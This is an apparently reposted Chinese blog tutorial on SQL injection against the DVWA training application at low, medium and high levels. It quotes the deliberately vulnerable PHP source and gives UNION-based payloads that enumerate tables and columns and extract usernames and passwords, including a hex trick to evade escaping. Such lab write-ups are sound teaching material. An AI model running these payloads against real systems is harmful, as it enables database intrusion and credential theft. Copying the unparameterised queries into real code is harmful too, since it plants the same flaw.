dvwa之SQL注入(1)

一、Low SQL Injection

1.sql语句

//low等级源码
<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);
}

字符型注入,无任何过滤,用单引号闭合

2. 注入:

(1)判断
id=1        有回显
id=1'       报错
id=1' #     有回显与id=1一致,判断单引号闭合

常用的闭合方式还有:

id = "input_id" 
id = ("input_id")
id = ('input_id')
(2)用order by判断列数
id=1' order by 1 #
id=1' order by 2 #
id=1' order by 3 #
·····
id=1' order by n #

直到报错为止,最后一个页面正确回显的数,即为列数

知道返回的列名之后,就可以执行后继的操作和查询各种数据了。
比如查询当前的数据库名和当前的用户名以及当前的sql版本号(若有两列)

id=-1' union select database(),user() #

id=-1' union select 1,version() #
这里的数字1只是为了凑后面的列数,union查询前后的列数要一致才行
(3)注入出当前数据库所有的表名

方法一:回显在一条结果:

id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()) #

在这里插入图片描述
group_concat语法:

group_concat([DISTINCT] 要连接的字段 [Order BY ASC/DESC 排序字段] [Separator ‘分隔符’])


说明:通过使用distinct可以排除重复值;如果希望对结果中的值进行排序,可以使用order by子句;separator是一个字符串值,缺省为一个逗号。

方法二:回显在多条结果:

id=-1' union select 1,table_name from information_schema.tables where table_schema=database() #

在这里插入图片描述

(4)注入出某一个表中的全部列名

(假设表名为’users’)
方法一:回显在一条结果

id=-1'  union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users') #

在这里插入图片描述
方法二:回显在多条结果

扫描二维码关注公众号,回复: 8960868 查看本文章
id=-1’ union select 1,column_name from information_schema.columns where table_name=’users’ #

在这里插入图片描述

(5)注入出字段内容(假设字段名为user、password)

方法一:回显在一条结果

id=-1' union select (select group_concat(User) from users),(select group_concat(Password) from users) #

在这里插入图片描述
方法二:回显在多条结果

id=-1‘ union select user,password from users #

在这里插入图片描述

二、Medium SQL Injection

1.SQL语句

//medium等级源码
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];

    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Display values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?> 

(1)为POST型注入,要用BurpSuit抓包,Post传入sql语句
(2)虽用了mysqli_real_escape_string()函数来进行过滤,但是sql语句直接使用了$id,没有闭合,为数字型注入,id里面的sql语句可以直接执行。

注:mysqli_real_escape_string()函数介绍:

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。 下列字符受影响:
• \x00
• \n
• \r
• \
• ’
• "
• \x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。

2.注入

注入语句与low等级的基本一致,只不过要通过post传入。

(1)判断:
id=1		      有回显
id=1 and 1=1      有回显
id=1 and 1=2	  无回显
说明id后面的sql语句被直接执行了,可进行注入
(2)用order by判断列数

方法与low等级一致
在这里插入图片描述
在这里插入图片描述

知道了列数之后就可以用union联合查询当前的用户名、数据库名的信息,例如:
在这里插入图片描述

(3)注入出当前数据库所有的表名
-1 union select 1,table_name from information_schema.tables where table_schema=database() 

在这里插入图片描述

(4) 注入出某一个表中的全部列名(假设表名为users)

这里注意,如果按照low等级,注入语句应该如下:

id=-1 union select 1,column_name from information_schema.columns where table_name='users'

但是,medium等级中使用了 mysql_real_escape_string() 函数将引号给过滤掉了,所以上述语句会报错。

因此,这里可以使用十六进制来绕过引号,也就是将表名users转换为十六进制(users的十六进制为7573657273,引号不用转换),即正确的注入语句如下:

id=-1 union select 1,column_name from information_schema.columns where table_name=0x7573657273

在这里插入图片描述

(5)注入出字段内容(假设字段名为user、password)

id=-1 union select user,password from users

在这里插入图片描述


三、High SQL Injection

1.SQL语句

<?php
if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
}
?> 

high等级的代码,与low等级相比,只是在sql语句后面加了一个limit限制输出的数量,但是可以通过#将其注释掉,那么注入方法就与low等级的一模一样了,这里就不做详细的演示。
在这里插入图片描述
注意: high等级还有一个区别就是,回显页面和注入页面不在同一个页面,这样手工注入的时候区别不大,但是使用sqlmap注入时,就有区别了。
可以参考这篇文章:SQLMAP注入DVWA high level

发布了42 篇原创文章 · 获赞 31 · 访问量 1万+

猜你喜欢

转载自blog.csdn.net/qq_42181428/article/details/87892132
今日推荐